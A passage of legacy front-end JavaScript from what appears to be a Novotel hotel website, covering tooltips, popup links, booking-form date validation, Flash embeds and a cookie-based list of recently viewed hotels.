			mouseFollow: true, // Tooltips follows the mouse moving
			opacity: .75, // Default tooltips opacity
			appearDuration: .10, // Default appear duration in sec
			hideDuration: .10 // Default disappear duration in sec
		};
		Object.extend(this.options, options || {});
	},
	show: function(e) {
		/*this.xCord = Event.pointerX(e);
		this.yCord = Event.pointerY(e);*/
		this.xCord = Position.cumulativeOffset(this.el)[0];
		this.yCord = Position.cumulativeOffset(this.el)[1];
		if(!this.initialized) {
			var that = this;
			//this.timeout = window.setTimeout(function(){that.appear(that)}, that.options.delay); // c est cette ligne qui cr la loop infinie
			that.appear(that);
		}
	},
	hide: function(e) {
		if(this.initialized) {
			document.body.removeChild(document.body.childNodes[0]);

		}
		this._clearTimeout(this.timeout);
		
		this.initialized = false;
	},
	update: function(e){
		this.xCord = Event.pointerX(e);
		this.yCord = Event.pointerY(e);
		this.setup();
	},
	appear: function(that) {
		// Building tooltip container
		/* that.tooltip = Builder.node("div", {className: "tooltip", style: "display: none;" }, [
			Builder.node("div", {className: "xboxcontent"}, this.content),
		]); */
		divTooltip = document.createElement('div');
		divTooltip.className = 'tooltip';
		//divTooltip.setStyle({display:'none'});
		divXBox = document.createElement('div');
		divXBox.className = 'xboxcontent';
		divXBox.innerHTML = that.content;
		divTooltip.appendChild(divXBox);
		document.body.insertBefore(divTooltip, document.body.childNodes[0]);
		
		Element.extend(divTooltip); // IE needs element to be manually extended
		that.options.width = divTooltip.getWidth();
		divTooltip.style.width = that.options.width + 'px'; // IE7 needs width to be defined
		that.tooltip = divTooltip;
		divTooltip.style.left = that.xCord - divTooltip.getWidth() + 8 + "px";
		divTooltip.style.top = that.yCord - that.el.getHeight() +"px";
		
		if(that.options.mouseFollow)
			Event.observe(that.el, "mousemove", that.updateEvent);
			
		that.initialized = true;
		//that.appearingFX = new Effect.Appear(divTooltip, {duration: that.options.appearDuration, to: that.options.opacity });
		
	},
	setup: function(){
		/*
		// If content width is more then allowed max width, set width to max
		if(this.options.width > this.options.maxWidth) {
			this.options.width = this.options.maxWidth;
			this.tooltip.style.width = this.options.width + 'px';
		}
			
		// Tooltip doesn't fit the current document dimensions
		if(this.xCord + this.options.width >= Element.getWidth(document.body)) {
			this.options.align = "left";
			this.xCord = this.xCord - this.options.width + 20;
		}
		*/
		
		this.tooltip.style.left = this.xCord - this.tooltip.getWidth() + 8 + "px";
		this.tooltip.style.top = this.yCord - this.el.getHeight() + 4 + "px";
		
	},
	_clearTimeout: function(timer) {
		clearTimeout(timer);
		clearInterval(timer);
		return null;
	}
});

function addToolTips() {
	$$('a.tip').each(function(element){
		new Tooltip(element, {opacity:1, delay:50, mouseFollow: false});
		
	});	
}

function addPopLayer() {
	$$('#lnk_virtual','#lnk_gallery').each(function(link){
		link.onclick = function() {
			popLayer.openUrl (null, this.href, null, null, true);
			return false;
		}
	});
}

function checkLinks() {
	if ($('bloc_ident')) {
		if($('favoris')) getNode($('favoris'),{nodeName:'a'}).onclick = function() {popUp(this.href,'elastic2');return false;}
		if($('fideliteid')) getNode($('fideliteid'),{nodeName:'a'}).onclick = function() {popUp(this.href,'elastic2');return false;}
	}
	
	var links = getNodes(document.documentElement,{nodeName:'a',className:'(clickPop|clickPop2|clickZoom|closePop|popFH)'});
	for (var i=0;i<links.length;i++) {
		if (links[i].className.match('clickPop'))
				links[i].onclick = function(){popUp(this.href,'elastic2'); return false;};
		if (links[i].className.match('clickPop2'))
				links[i].onclick = function(){popUp(this.href,'elastic',650,750); return false;};
		if (links[i].className.match('clickZoom'))
				links[i].onclick = function(){popUp(this.href,'elastic',580,830); return false;};
		if (links[i].className.match('closePop'))
				links[i].onclick = function(){window.close();};
		if (links[i].className.match('popFH')){
				links[i].onclick = function(){popUp(this.href,'elastic3',550,700); return false;};
			}
		
	}
	
}

function toggleQA(elm) {
	var links = getNodes(elm,{nodeName:'a',className:'switchLink'});
	var divs = getNodes(elm,{nodeName:'div',className:'switchDiv'});
	var prevLink = false;
	for (var i=0;i<links.length;i++){
		links[i].onclick = function() {
			var next = getNextSibling(this,{nodeName:'div',className:'switchDiv'});
			if (prevLink) addClass(prevLink,'hidden');
			removeClass(next,'hidden');
			prevLink = next;
		}
	}
}

var formControl = {
		
	minDays : 1,
	period : 405,
	earlyBreak : 0,
	maxDays : 23,
	cityListing : null,
	elmPays : null,
	elmVille : null,
  MSGerr : new Array(),
	cityInput : null,
	cityInputValue : null,
	bEngine : null,
	ySelect : null,
	mSelect : null,
	dSelect : null,	
	today : null,
	years : null,
	months : null,
	days : null,
	dest : null,
	flagSpa : false,
	arraySelectSpa : new Array(),
	arrayOptionsSpa : new Array(),
	delaySpa : 6, 

	init : function() {
		formControl.bEngine = $('bookingEngine');
		/* if ($('zone-recherche') && $('zone-recherche').className.match(/\b(special)\b/)) {
			formControl.initSpecialOffers($('zone-recherche'));
			return;
		} */
		
		if(nov_offers.init())
			return;
		
		if ($('jour_arrivee')) formControl.initSelects();
		if ($('hotel_ou_ville') || $('hotel_ville')) formControl.initMotorHome();
		if ($('destination')) formControl.controlResaRadios($('destination'));
		if ($('zone-recherche')) {
			var zr = $('zone-recherche');
			if (zr.className.match(/\bthermalSpa\b/)) formControl.initMotorSpa();
			if (zr.className.match(/\b(special)\b/)) formControl.initSpecialOffers(zr);
			else if (zr.className.match(/\b(early|city)\b/)) formControl.initMotorBreaks(zr);
		}
		
	},

	initMotorHome : function() {
	   //alert('')
		formControl.cityInput = $('hotel_ou_ville');
		formControl.cityInputValue = $('hotel_ou_ville').value;
		formControl.inputValue(formControl.cityInput);
		$('submitter').onclick = formControl.checkMotors;
	},

	initMotorBreaks : function(elm) {
		setTimeout(function(){
		
			formControl.elmPays = $('pays');
			formControl.elmVille = $('ville');
			if (elm.className.match(/\bearly\b/)) {
				formControl.earlyBreak=14;
				formControl.cityListing=earlyBreaksCities;
			} else {
				formControl.minDays=2;
				formControl.cityListing=cityBreaksCities;
			}
		
			formControl.showProperDate(formControl.today);
			formControl.updateCityListing(null,formControl.elmPays.selectedIndex);
			if(getNodes($('nb_nuit'),{nodeName:'option'})[formControl.minDays])
				getNodes($('nb_nuit'),{nodeName:'option'})[formControl.minDays].selected = true;
			$('submitter').onclick = formControl.checkMotorBreaks;
			formControl.elmPays.onchange = function(){formControl.updateCityListing(this.selectedIndex);};
		},10);
		
	},
	
	initSpecialOffers: function (elm){
		setTimeout(function(){
		
			formControl.elmPays = $('pays');
			formControl.elmVille = $('ville');
			formControl.minDays=3;
			//
			formControl.today = new Date();
			var lastDate = new Date(formControl.today.getFullYear(),formControl.today.getMonth(),formControl.today.getDate()+formControl.period);
			
			formControl.dSelect = $('jour_arrivee');	
			formControl.mSelect = $('mois_arrivee');
			formControl.ySelect = $('annee_arrivee');
			
			formControl.fillSelectMoteur(formControl.dSelect,1,31);
			formControl.fillSelectMoteur(formControl.mSelect,1,$('mois_fin').value);
			formControl.fillSelectMoteur(formControl.ySelect,formControl.today.getFullYear(),formControl.today.getFullYear());
			formControl.days = getNodes(formControl.dSelect,{nodeName:'option'});
			formControl.months = getNodes(formControl.mSelect,{nodeName:'option'});
			formControl.years = getNodes(formControl.ySelect,{nodeName:'option'});
			formControl.showProperDate(formControl.today);
			formControl.dSelect.onchange = formControl.getClosestDate;
			formControl.mSelect.onchange = formControl.getClosestDate;
			formControl.ySelect.onchange = formControl.getClosestDate;
			$('submitter').onclick = formControl.checkSpecialOffers;
		},10);
		
	},
	
	initMotorSpa : function() {
		var lastDate = new Date(formControl.today.getFullYear(),formControl.today.getMonth(),formControl.today.getDate()+formControl.period);
		formControl.arraySelectSpa = [$('jour_depart'),$('mois_depart'),$('annee_depart')];
		formControl.flagSpa = true;
		formControl.elmVille = $('hotel');
		formControl.cityListing = sej6jrs;
		formControl.updateSpaListing();
		formControl.fillSelectMoteur(formControl.arraySelectSpa[0],1,31);
		formControl.fillSelectMoteur(formControl.arraySelectSpa[1],1,12);
		formControl.fillSelectMoteur(formControl.arraySelectSpa[2],formControl.today.getFullYear(),lastDate.getFullYear());
		formControl.arrayOptionsSpa = [getNodes(formControl.arraySelectSpa[0],{nodeName:'option'}),getNodes(formControl.arraySelectSpa[1],{nodeName:'option'}),getNodes(formControl.arraySelectSpa[2],{nodeName:'option'})];
//		formControl.arraySelectSpa[0].disabled = true;
		$('jour_depart').onchange =  function() {
			formControl.delaySpa = parseInt($('type').value);
			formControl.showProperDate(new Date(formControl.ySelect.value,formControl.mSelect.value-1,parseInt(formControl.dSelect.value)+formControl.delaySpa),formControl.arrayOptionsSpa);
			if (formControl.delaySpa == 2) {
				formControl.cityListing = sej2jrs;
				formControl.updateSpaListing();
			} else {
				formControl.cityListing = sej6jrs;
				formControl.updateSpaListing();
			}
		}

//		formControl.arraySelectSpa[1].disabled = true;
		$('mois_depart').onchange =  function() {
			formControl.delaySpa = parseInt($('type').value);
			formControl.showProperDate(new Date(formControl.ySelect.value,formControl.mSelect.value-1,parseInt(formControl.dSelect.value)+formControl.delaySpa),formControl.arrayOptionsSpa);
			if (formControl.delaySpa == 2) {
				formControl.cityListing = sej2jrs;
				formControl.updateSpaListing();
			} else {
				formControl.cityListing = sej6jrs;
				formControl.updateSpaListing();
			}
		}

//		formControl.arraySelectSpa[2].disabled = true;
		$('annee_depart').onchange =  function() {
			formControl.delaySpa = parseInt($('type').value);
			formControl.showProperDate(new Date(formControl.ySelect.value,formControl.mSelect.value-1,parseInt(formControl.dSelect.value)+formControl.delaySpa),formControl.arrayOptionsSpa);
			if (formControl.delaySpa == 2) {
				formControl.cityListing = sej2jrs;
				formControl.updateSpaListing();
			} else {
				formControl.cityListing = sej6jrs;
				formControl.updateSpaListing();
			}
		}

	
		$('type').onchange = function() {
			formControl.delaySpa = parseInt(this.value);
			formControl.showProperDate(new Date(formControl.ySelect.value,formControl.mSelect.value-1,parseInt(formControl.dSelect.value)+formControl.delaySpa),formControl.arrayOptionsSpa);
			if (formControl.delaySpa == 2) {
				formControl.cityListing = sej2jrs;
				formControl.updateSpaListing();
			} else {
				formControl.cityListing = sej6jrs;
				formControl.updateSpaListing();
			}
		}
		
		setTimeout(function(){
			formControl.showProperDate(formControl.today);
			formControl.showProperDate(new Date(formControl.today.getFullYear(),formControl.today.getMonth()-1,formControl.today.getDate()+formControl.delaySpa),formControl.arrayOptionsSpa);
			$('submitter').onclick = function(){
				formControl.bEngine.submit();
				}
		},10);
	},
	
	updateCityListing : function(e,index) {
		var index = (!e ? index : e)-1;
		if (e<=0) return;
		formControl.elmVille.innerHTML = "";
		for (var i=0;i<formControl.cityListing[index].length;i++) {
			var option = document.createElement('option');
			option.value = formControl.cityListing[index][i];
			option.innerHTML = formControl.cityListing[index][i];
			formControl.elmVille.appendChild(option);
		}
	},
	
	updateSpaListing : function(){
		formControl.elmVille.innerHTML = "";
		for (var i=1;i<formControl.cityListing.length;i++) {
			var option = document.createElement('option');
			option.value = formControl.cityListing[i][1];
			option.innerHTML = formControl.cityListing[i][0];
			formControl.elmVille.appendChild(option);
		}
	},
	
	initSelects : function() {	
		formControl.today = new Date();
		var lastDate = new Date(formControl.today.getFullYear(),formControl.today.getMonth(),formControl.today.getDate()+formControl.period);
		if (($('nb_nuit') && $('nb_nuit').id != 'type') || $('choix_nights_sublist')) {
			var nbNuit = $('nb_nuit').nodeName == 'SELECT' ? $('nb_nuit') : $('choix_nights_sublist');
			formControl.fillSelectMoteur(nbNuit,formControl.minDays,23);
		}
		formControl.dSelect = $('jour_arrivee');	
		formControl.mSelect = $('mois_arrivee');
		formControl.ySelect = $('annee_arrivee');
		
		formControl.fillSelectMoteur(formControl.dSelect,1,31);
		formControl.fillSelectMoteur(formControl.mSelect,1,12);
		formControl.fillSelectMoteur(formControl.ySelect,formControl.today.getFullYear(),lastDate.getFullYear());
		
		formControl.days = getNodes(formControl.dSelect,{nodeName:'option'});
		formControl.months = getNodes(formControl.mSelect,{nodeName:'option'});
		formControl.years = getNodes(formControl.ySelect,{nodeName:'option'});
		
		formControl.dSelect.onchange = formControl.getClosestDate;
		formControl.mSelect.onchange = formControl.getClosestDate;
		formControl.ySelect.onchange = formControl.getClosestDate;
			
	},
		
	checkMotors : function() {
		var isValid = false;
		var errBox = $('errorMessage');
		if (!formControl.cityInput && !$('hotel_ville')) return;
		if (formControl.cityInput){
			formControl.dest = formControl.cityInput.value;
			switch(formControl.cityInput.value) {
				case "":
				case null:
				case formControl.cityInputValue:
					formControl.cityInput.value = "";
					if ($('checkboxContrat') && !$('checkboxContrat').checked || $('recherche_destination')){
						errBox.style.display = "block";
						errBox.style.left = formControl.cityInput.offsetLeft+"px";
						errBox.style.top = formControl.cityInput.offsetTop+"px";
						ifrlayer.make(errBox);
						errBox.onclick = function() {
							this.style.display = "none";
							ifrlayer.kill(this);
						};
					}
					break;
				default:
					isValid = true;
					break;
			}
		}
		else if ($('hotel_ville')){
			if ((codeHotel = formControl.getPos('rid')) != ""){
				formControl.dest = $('hotel_ville').value;
				$('hotel_ville').value=codeHotel;
				isValid = true;
			}
		}
		if (isValid) formControl.moteurSubmit();
	},
	
	checkMotorBreaks : function() {
	  var errMsg = false;
		formControl.MSGerr = $('errorMessage').innerHTML.split('$$');
		var chosenDate = new Date(formControl.ySelect.value, formControl.mSelect.value-1, formControl.dSelect.value);
		var minDate = formControl.createDate(null, null, null, formControl.earlyBreak-1);
		var maxDate = formControl.createDate(null, null, null, formControl.period-1);
		formControl.dest = $('ville').value;
		var errMsgBlock = $('errorMessage');
		errMsgBlock.style.top = formControl.elmPays.offsetTop+"px";
		errMsgBlock.style.left = formControl.elmPays.offsetLeft+"px";
		errMsgBlock.style.width = "202px";
		errMsgBlock.style.height = (formControl.elmVille.offsetTop-formControl.elmPays.offsetTop)+formControl.elmVille.offsetHeight+"px";
		errMsgBlock.onclick = function() {this.style.display = "none";};
		
		if (formControl.elmPays.value == "-") {
		  errMsg = formControl.MSGerr[0];
		  //alert(errMsg);
		}
		else if (chosenDate < minDate) {
			formControl.showProperDate(minDate);
			errMsg = formControl.earlyBreak == 1 ? formControl.MSGerr[1] : formControl.MSGerr[2];
		}			
		else if (chosenDate > maxDate) {
			formControl.showProperDate(formControl.createDate(maxDate, null, null, -1));
			errMsg = formControl.MSGerr[3];
		}			
		else {
			formControl.showProperDate(chosenDate);
			errMsg = false;
		}
		if (!errMsg) {
			errMsgBlock.style.display = "none";
			formControl.moteurSubmit()
		}
		else {
			errMsgBlock.style.display = "block";
			errMsgBlock.innerHTML = errMsg;
			ifrlayer.make(errMsgBlock);
			errMsgBlock.onclick = function() {
				this.style.display = "none";
				ifrlayer.kill(this);
			}
		}
	},
	
	checkSpecialOffers : function() {
	  var errMsg = false;
		formControl.MSGerr = $('errorMessage').innerHTML.split('$$');
		var chosenDate = new Date(formControl.ySelect.value, formControl.mSelect.value-1, formControl.dSelect.value);
		var minDate = formControl.createDate(null, null, null, formControl.earlyBreak-1);
		var maxDate = formControl.createDate(null, $('jour_fin').value, $('mois_fin').value, $('annee_fin').value);
		formControl.dest = $('ville').value;
		var errMsgBlock = $('errorMessage');
		errMsgBlock.style.top = formControl.elmPays.offsetTop+"px";
		errMsgBlock.style.left = formControl.elmPays.offsetLeft+"px";
		errMsgBlock.style.width = "202px";
		errMsgBlock.style.height = (formControl.elmVille.offsetTop-formControl.elmPays.offsetTop)+formControl.elmVille.offsetHeight+"px";
		errMsgBlock.onclick = function() {this.style.display = "none";};
		
		if (chosenDate < formControl.today) {
			formControl.showProperDate(minDate);
			errMsg = formControl.earlyBreak == 1 ? formControl.MSGerr[1] : formControl.MSGerr[2];
		}			
		else if (chosenDate > maxDate) {
			formControl.showProperDate(formControl.createDate(maxDate, null, null, -1));
			errMsg = formControl.MSGerr[3];
		}			
		else {
			formControl.showProperDate(chosenDate);
			errMsg = false;
		}
		if (!errMsg) {
			errMsgBlock.style.display = "none";
			formControl.moteurSubmit()
		}
		else {
			errMsgBlock.style.display = "block";
			errMsgBlock.innerHTML = errMsg;
			ifrlayer.make(errMsgBlock);
			errMsgBlock.onclick = function() {
				this.style.display = "none";
				ifrlayer.kill(this);
			}
		}
	},
	
	fillSelectMoteur : function(id, start, end) {
		var sel = typeof(id)=="object" ? id : $(id);
		var opt = document.createElement('option');

		var newOpt = opt.cloneNode(true);
		newOpt.value = '';
		newOpt.innerHTML = '-';
		sel.appendChild(newOpt);
		for (var i=start; i<=end; i++) {
			var newOpt = opt.cloneNode(true);
			newOpt.value = i;
			newOpt.innerHTML = i;
			sel.appendChild(newOpt);
		}
	},

	inputValue : function(elm) {
		elm.oldValue=elm.value;
		elm.onfocus=function() {
			if (!this.isChecking && this.value==this.oldValue) this.value='';			
		}
		elm.onblur=function() {
			if(this.value=='') this.value=this.oldValue;
		}
	},
	
	moteurSubmit : function (elm){
		if ($('checkboxContrat') && $('checkboxContrat').checked){
			window.location="http://www.accorhotels.com/lien_externe.svlt?goto=societe"
			+ "&hotelOuVille="+ formControl.dest
			+ "&jour_arrivee="+ $('jour_arrivee').value
			+ "&mois_arrivee="+ $('mois_arrivee').value
			+ "&annee_arrivee="+ $('annee_arrivee').value
			+ "&nb_nuit="+ $('nb_nuit').value
			+ "&code_chaine=NOV";
		}
		else formControl.bEngine.submit();
	},
	
	getPos : function(p) {                                    
		var params = location.hash.substring(1).split("&");                               
		for (var i=0;i<params.length;i++) {                      
			var pos = params[i].indexOf("=");                      
			if (pos != -1 && p==params[i].substring(0,pos))        
				return params[i].substring(pos+1);                
		}                                                        
		return '';
	},
	
	controlResaRadios: function(elm) {
		var inputs = elm.getElementsByTagName('input');
		var prev = null;
		for (var i=0;i<inputs.length;i++) {
			if (inputs[i].name == "destination") {
				inputs[i].onclick = function() {
					if (this.getAttribute('saveCheck')=='check' && this == prev) {
						this.checked = false;
						formControl.cityInput.value = "";
						this.setAttribute('saveCheck','');
					} else if (this.getAttribute('saveCheck')!='check' && this == prev) {
						this.checked = true;
						formControl.cityInput.value = this.value;
						this.setAttribute('saveCheck','check');
					} else if (this.getAttribute('saveCheck')=='check' && this != prev) {
						this.checked = false;
						formControl.cityInput.value = "";
						this.setAttribute('saveCheck','');
						prev = this;
					} else if (this.getAttribute('saveCheck')!='check' && this != prev) {
						this.checked = true;
						formControl.cityInput.value = this.value;
						this.setAttribute('saveCheck','check');
						if (prev) prev.setAttribute('saveCheck','');
						prev = this;
					}
				}
			}
		}
	},

	getClosestDate : function(){
		if (formControl.dSelect.value == '' || formControl.mSelect.value == '' || formControl.ySelect.value == '') {
			var closestDate = new Date(formControl.today.getFullYear(),formControl.today.getMonth(),formControl.today.getDate());
			switch(this.id){
				case "jour_arrivee":
					closestDate.setDate(this.value);
					if (closestDate<formControl.today) closestDate.setMonth(closestDate.getMonth()+1);
					break;
				case "mois_arrivee":
					closestDate.setMonth(this.value-1);
					closestDate.setDate(1);
					if (closestDate.getMonth()<formControl.today.getMonth()){ 
						closestDate.setFullYear(closestDate.getFullYear()+1);
					} else if (closestDate.getMonth()==formControl.today.getMonth()){
						closestDate.setDate(formControl.today.getDate());
					}
					break;
				case "annee_arrivee":
					closestDate.setFullYear(this.value);
					if (closestDate.getFullYear()>formControl.today.getFullYear()){ 
						closestDate.setDate(1);
						closestDate.setMonth(0);
					} 
					break;
				default:
					break;
			}
			formControl.showProperDate(closestDate);
			if ($('nb_nuit')) $('nb_nuit').value=1;
		}
		else formControl.showProperDate(new Date(formControl.ySelect.value,formControl.mSelect.value-1,formControl.dSelect.value));
		if (formControl.flagSpa) {
			formControl.showProperDate(new Date(formControl.ySelect.value,formControl.mSelect.value-1,parseInt(formControl.dSelect.value)+formControl.delaySpa),formControl.arrayOptionsSpa)
		}
	},
	
	showProperDate : function(date,el) {
		if (el == null) el = new Array(formControl.days,formControl.months,formControl.years);
		/* var zrs =$('zone-recherche');
		if (zrs.className.match(/\b(special)\b/)) { 
		el[0][date.getDate()].selected = true;
		if (el[1][date.getMonth()+1] && el[1][date.getMonth()+1].value <= parseInt($('mois_fin').value)) el[1][date.getMonth()+1].selected = true;
		el[2][date.getFullYear()-formControl.today.getFullYear()+1].selected = true;	
		}
		else { */
		if(el[0][date.getDate()])
			el[0][date.getDate()].selected = true;
		if(el[1][date.getMonth()+1])
			el[1][date.getMonth()+1].selected = true;
		if(el[2][date.getFullYear()-formControl.today.getFullYear()+1])
			el[2][date.getFullYear()-formControl.today.getFullYear()+1].selected = true;
		/*}*/
	},
		
	createDate : function(date,y,m,d) {
		date = date == null ? formControl.today : date;
		y = y == null ? date.getFullYear() : date.getFullYear() + y;
		m = m == null ? date.getMonth() : date.getMonth() + m;
		d = d == null ? date.getDate() : date.getDate() + d;
		return new Date(y,m,d);
	}
	
}

var flashInit = {

correspondingArray : {HO:0,RO:1,BA:2,RS:2,SL:3,FA:4,IN:5,SP:5,SO:6,SM:6,WD:0,DE:9,AC:10},

init : function() {
	initier = this;
	RID = flashInit.getMeta("X-Accor-rid");
	MEDIATYPE = flashInit.getMeta("X-Accor-mediatype");
	if (MEDIATYPE=="") MEDIATYPE="HO"; // valeur par d?ut
	LNG  = flashInit.getLang(); // (fr,  en , de ...) correspond ?a norme ISO
  window.lng = IMG_PATH = ("en"==LNG)?"gb":LNG; // (fr, gb ,de ...) correspond ?'arborescence ACCOR       
	if($("flash-container-fh")) flashInit.startFH();
	if($("flash-container-h")) flashInit.startH();
	if($("flash-container-dn")) flashInit.startDN();
	if($("flash-container-gallery")) flashInit.startGallery();
	if($("flash-container-family")) flashInit.startFamily();
	if($("flash-container-weekend")) flashInit.startWE();
  if($("flash-container-geo")) flashInit.startGeo();
	},

	getMeta: function (n){
		var metas = document.getElementsByTagName("meta");
		for (i = 0;i<metas.length;i++) {
			if (metas[i].name == n) {
		return metas[i].content;
			}
		}
		return "";
	},

	getLang : function() {
		var html = document.documentElement;
		var ln = '';
		if (html.getAttribute("xml:lang")) {
			 ln =  html.getAttribute("xml:lang");
		}
		else {
			if (html.getAttribute("lang")) {	ln =  html.getAttribute("lang") }
			else { ln =  "en"; }
		}
		return ln;
	},

	startH : function() {
		var so = new SWFObject("/flash/home/split25.swf", "flashMovie","100%", "100%", "8", "#ffffff");
		so.addParam("wmode", "transparent");
		so.addParam("quality", "high");
		so.addVariable("LANG", IMG_PATH);
		so.addVariable("LNG", IMG_PATH);
		so.addVariable("XMLfile", "/"+IMG_PATH+"/xml/home/novotel.xml");
		so.write("flash-container-h"); // OK
	},
	
	
	startFH : function() {
		var so = new SWFObject("/flash/fichehotel/nov/ficheHotel.swf", "split25", "100%", "100%", "8", "#FFFFFF");
		so.addParam('wmode','transparent');
		so.addVariable("URL_XMLhotel", "/fichehotel/xml/"+RID+"_"+LNG+".xml"); // addresse du fichier xml de l'hotel g?r?ar le moteur
		so.addVariable("URL_XMLfile","/fichehotel/i18n/nov_texte_"+IMG_PATH+".xml"); // addresse du fichier 	xml de trad	
		so.addVariable("URL_PIC", "/photos/"); // addresse du fichier xml
		so.addVariable("Default", MEDIATYPE); // vignette affich par d?ut
		so.addVariable("LANG", IMG_PATH);
		var blueHeader = 	document.documentElement.className.match('external') ? "false" : "true";
		so.addVariable("blueHeader", blueHeader); // visibilit?u	bandeau bleu : true or false
		so.write("flash-container-fh");  // OK
	},

	startDN : function() {
		var so = new SWFObject("/flash/discover/landing.swf", "myMovie", "100%", "100%", "9", "#ffffff");
		so.addParam("wmode", "transparent");
		so.addParam("quality", "high");
		so.addVariable("XMLfile", "/"+IMG_PATH+"/xml/discover/pathVideoLandingPage.xml");
		so.write("flash-container-dn"); // OK mais flash a localiser donc dans /lang/
		
	},

	startWE : function() {
		var so = new SWFObject("/flash/weekend/carteV1.swf", "myweekend", "100%", "100%", "9", "#ffffff");
		so.addParam("wmode", "transparent");
		so.addParam("quality", "high");
		so.addVariable("XMLfile", "/"+IMG_PATH+"/xml/weekend/listHotel.xml");
		so.write("flash-container-weekend"); // OK
	},

	startFamily : function() {
		var so = new SWFObject("/flash/family/family.swf", "family", "100%", "100%", "9", "#ffffff");
		so.addParam("wmode", "transparent");
		so.addParam("quality", "high");
		so.addVariable("XMLfile", "/"+IMG_PATH+"/xml/family/family.xml");
		so.addVariable("LANG", IMG_PATH);
		so.write("flash-container-family");  // attente SWF
	},

	startGallery : function() {
		// var so = new SWFObject("/flash/fichehotel/galerie_nov.swf","gallery", "100%", "100%", "8", "#FFFFFF");
		// so.addVariable("URL_XMLlang",	"/fichehotel/i18n/nov_texte_"+IMG_PATH+".xml"); // fichier de langue  ?ivrer par F6
		// so.addVariable("URL_XMLhotel", "/fichehotel/xml/"); // emplacement fichier hotel g?r?ar le moteur
		// so.addVariable("URL_PIC", "/photos/"); //emplacement des images hotel
		// so.addVariable("URL_VID", document.location.protocol+"//"+document.location.host.replace('www','media')+"/video"	); //emplacement des videos hotel
		// so.addVariable("rid", RID); // code hotel
		// so.addVariable("lang", LNG); //langue (fr, en, de)
		// so.write("flash-container-gallery"); // OK sauf emplacement des medias
	},
    
     startGeo : function() {
        var so = new SWFObject("/flash/rechgeo/rechlabel_nov.swf", "cartoLabel", "716", "308", "6", "#6E1940");
        so.addVariable("marque_var", "NOV");
        so.addVariable("langue", LNG);
        so.addVariable("label", "ALL");
        so.addVariable("webApp", "novotel");
        so.addParam("allowScriptAccess", "always");
        so.addParam("quality", "high");
        so.addParam("scale", "noscale");
        so.addParam("wmode", "transparent");
        so.write("flash-container-geo");
    },
	
	popup: function (){
		//window.open("./galerie_flash.shtml","gallery","menubar=no, status=no, scrollbars=no, resizable=yes, top=200, left=250, width=619,height=530");
		flashLayer.init();
		flashLayer.open();
	}

}

/**
* fonctions li? au flash
**/
function openpopup (){
	flashInit.popup();
}

function openvisit(obj){
	flashLayer.init("ipx", obj);
	flashLayer.open();
}

function CloseGallery (){
	flashLayer.close();
}

// modif we home family //

function findPos(obj) {
	var curleft = curtop = 0;
	if (obj.offsetParent) {
		curleft = obj.offsetLeft
		curtop = obj.offsetTop
		while (obj = obj.offsetParent) {
			curleft += obj.offsetLeft
			curtop += obj.offsetTop
		}
	}
	return [curleft,curtop];
}

var hotelsHistory = Class.create();

hotelsHistory.prototype = {
	initialize : function(key,value) {
		this.maxDays = 21;
		this.maxListSize = 5;
		this.cookieString = this.readCookie("hotelsHistory") || "";
		this.data = this.unserialize(this.cookieString).findAll(this.isNotEmpty);
		this.list = this.constrain(this.data,this.maxListSize);
	},
	
	/**
		@name : saveCurrentPage
		@description : Add the entry to the list if it's not already in it.
		@param : <key> The name of the page
		@param : <value> The url of the page
	*/
	
	saveCurrentPage : function(title,url) {
		if(this.isACurrentEntry(url) == false) {
			this.list.append({'key':title,'value':url});
			this.writeCookie("hotelsHistory",this.serialize(this.list),this.maxDays);
		}
	},
	
	/**
		@name : isNotEmpty
		@description : Verify that the entry is not undefined, this might occur when the
		cookie is empty. Used as filter.
		@param : <entry> Entry bound by the filter method.
		@return : Boolean
	*/
	
	isNotEmpty : function(entry) {
		return entry.value != undefined;
	},
	
	/**
		@name : isACurrentEntry
		@description : Verify that the entry in not in the list already.
		@param : <entry> The search is done using the url of the page.
		@return : Boolean
	*/
		
	isACurrentEntry : function(entry) {
		return this.list
		.map(function(item) {
			return item.value;
		})
		.include(entry);
	},
	
	/**
		@name : constrain
		@description : Contrains a list at a maximum size, if that is hitted
		the last item is pushed out and the new entry is add at the beginning of the list.
		@param : <list The list to constrain
		@param : <limit> The maximum size of the list
		@return : Array
	*/
	
	constrain : function(list, limit) {		
		list.append = function(item) {
			if(this.length < limit) {
				this.push(item);
			} else {
				this.pop();
				this.unshift(item);
			}
		}
		return list;
	},
	
	/**
		@name : serialize
		@description : Serialize a list where each item is an hash. The serializing is done
		using a pipe to seperate keys and values and a comma to seperate items.
		@return : String
	*/
	
	serialize : function(items) {
		return items.map(function(item) {
			return [item.key,item.value].join('|');
		}).join(',');
	},

	/**
		@name : unserialize
		@description : Unserialize a list using the same rules as serialize.
		@return : Array
	*/
		
	unserialize : function(chain) {
		var items = chain.split(',');
			
		return items.map(function(item) {
			var obj = item.split('|');
			return {key:obj[0],value:obj[1]};
		});
	},
	
	/**
		@name : writeCookie
		@description : Write a cookie. Writing is desctructive
	*/	
	
	writeCookie : function(name,value,days) {
		if (days) {
			var date = new Date();
			date.setTime(date.getTime()+(days*24*60*60*1000));
			var expires = "; expires="+date.toGMTString();
		}
		else var expires = "";
		document.cookie = name+"="+value+expires+"; path=/";
	},

	/**
		@name : readCookie
		@description : Return the value of the cookie with the name passed
		@return : String || Null
	*/	
	
	readCookie : function(name) {
		var nameEQ = name + "=";
		var ca = document.cookie.split(';');
		for(var i=0;i < ca.length;i++) {
			var c = ca[i];
			while (c.charAt(0)==' ') c = c.substring(1,c.length);
			if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
		}
		return null;
	},
	
	/**
		@name : render
		@description : Render the list using a Prototype template
		@params : <tmp> A prototype template, see http://www.prototypejs.org/api/template
		@return : String
	*/
	
	render : function(tmp) {
		var template = new Template(tmp);
		
		return this.list.map(function(item) {
			return template.evaluate(item);
		}).join("\n");
	}
};

function createSheets() {

	var NovotelHistory = new hotelsHistory;

	if($$('body.fichehotel')[0] != undefined) {
		var title = $$('#header h1')[0].innerHTML;
		var url = document.location.href;
		// modif du code de samo, pour prendre en cpte une seule fois chaque hotel;
		if(NovotelHistory.readCookie('hotelsHistory'))	
			if (NovotelHistory.readCookie('hotelsHistory').indexOf(title) != -1) 
				return;
		NovotelHistory.saveCurrentPage(title,url);
		
	}
	
	if($$('ul.histo-recherche')[0] != undefined) {
		var base = $$('ul.histo-recherche')[0];
		var template = [
			'<li>',
				'<p class="text"><strong><a href="#{value}">#{key}</a></strong></p>',
			'</li>'
		].join('');
		
		if(NovotelHistory.list.length > 0) {
			base.innerHTML = NovotelHistory.render(template);
